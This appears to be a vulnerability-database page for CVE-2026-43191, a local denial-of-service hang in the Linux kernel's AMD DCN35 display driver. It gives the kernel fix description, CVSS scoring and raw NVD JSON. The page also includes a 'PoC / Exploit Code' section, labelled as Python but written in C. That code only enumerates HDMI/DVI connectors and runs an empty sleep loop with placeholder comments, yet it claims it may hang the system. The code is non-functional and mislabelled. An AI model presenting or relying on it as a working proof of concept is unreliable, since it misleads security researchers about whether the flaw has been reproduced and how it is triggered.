Security Vulnerability Report
中文
CVE-2026-43191 CVSS 5.5 MEDIUM

CVE-2026-43191

Published: 2026-05-06 12:16:38
Last Modified: 2026-05-11 20:51:38
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Adjust PHY FSM transition to TX_EN-to-PLL_ON for TMDS on DCN35 [Why] A backport of the change made for DCN401 that addresses an issue where we turn off the PHY PLL when disabling TMDS output, which causes the OTG to remain stuck. The OTG being stuck can lead to a hang in the DCHVM's ability to ACK invalidations when it thinks the HUBP is still on but it's not receiving global sync. The transition to PLL_ON needs to be atomic as there's no guarantee that the thread isn't pre-empted or is able to complete before the IOMMU watchdog times out. [How] Backport the implementation from dcn401 back to dcn35. There's a functional difference in when the eDP output is disabled in dcn401 code so we don't want to utilize it directly.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (受DCN35架构影响的版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * PoC for CVE-2026-43191 (AMD DCN35 PHY FSM Hang) * This code attempts to trigger the vulnerable display path by * manipulating the TMDS output status on susceptible hardware. * Compilation: gcc -o poc_cve2026_43191 poc_cve2026_43191.c -ldrm */ #include <xf86drm.h> #include <xf86drmMode.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc, char **argv) { int fd; drmModeRes *resources; drmModeConnector *connector; int i; // Open the first available DRM device (typically /dev/dri/card0) fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { perror("Failed to open DRM device"); return 1; } resources = drmModeGetResources(fd); if (!resources) { perror("Failed to get DRM resources"); close(fd); return 1; } printf("Attempting to trigger PHY FSM transition bug...\n"); // Iterate through connectors to find TMDS (HDMI/DVI) outputs for (i = 0; i < resources->count_connectors; i++) { connector = drmModeGetConnector(fd, resources->connectors[i]); if (!connector) continue; if (connector->connection == DRM_MODE_CONNECTED && (connector->connector_type == DRM_MODE_CONNECTOR_HDMIA || connector->connector_type == DRM_MODE_CONNECTOR_DVII)) { printf("Found TMDS Connector ID: %d\n", connector->connector_id); // In a real exploit scenario, specific ioctl calls would be made // to force disable the output rapidly, triggering the race condition // in the PHY PLL transition. // Simulating rapid disable/enable stress on the output path for(int j=0; j<100; j++) { // Placeholder for actual DRM mode setting atomic commits // that toggle the TMDS output. usleep(1000); } } drmModeFreeConnector(connector); } drmModeFreeResources(resources); close(fd); printf("PoC execution finished. System may hang if vulnerable.\n"); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43191", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:37.970", "lastModified": "2026-05-11T20:51:38.467", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Adjust PHY FSM transition to TX_EN-to-PLL_ON for TMDS on DCN35\n\n[Why]\nA backport of the change made for DCN401 that addresses an issue where\nwe turn off the PHY PLL when disabling TMDS output, which causes the\nOTG to remain stuck.\n\nThe OTG being stuck can lead to a hang in the DCHVM's ability to ACK\ninvalidations when it thinks the HUBP is still on but it's not receiving\nglobal sync.\n\nThe transition to PLL_ON needs to be atomic as there's no guarantee\nthat the thread isn't pre-empted or is able to complete before the\nIOMMU watchdog times out.\n\n[How]\nBackport the implementation from dcn401 back to dcn35.\n\nThere's a functional difference in when the eDP output is disabled in\ndcn401 code so we don't want to utilize it directly."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.19.6", "matchCriteriaId": "DF4885A9-B170-4EBE-9912-BA83564FBE78"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/75372d75a4e23783583998ed99d5009d555850da", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d1f7ceb00e8956ff6d183b7b45ef4e73c96f4c51", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}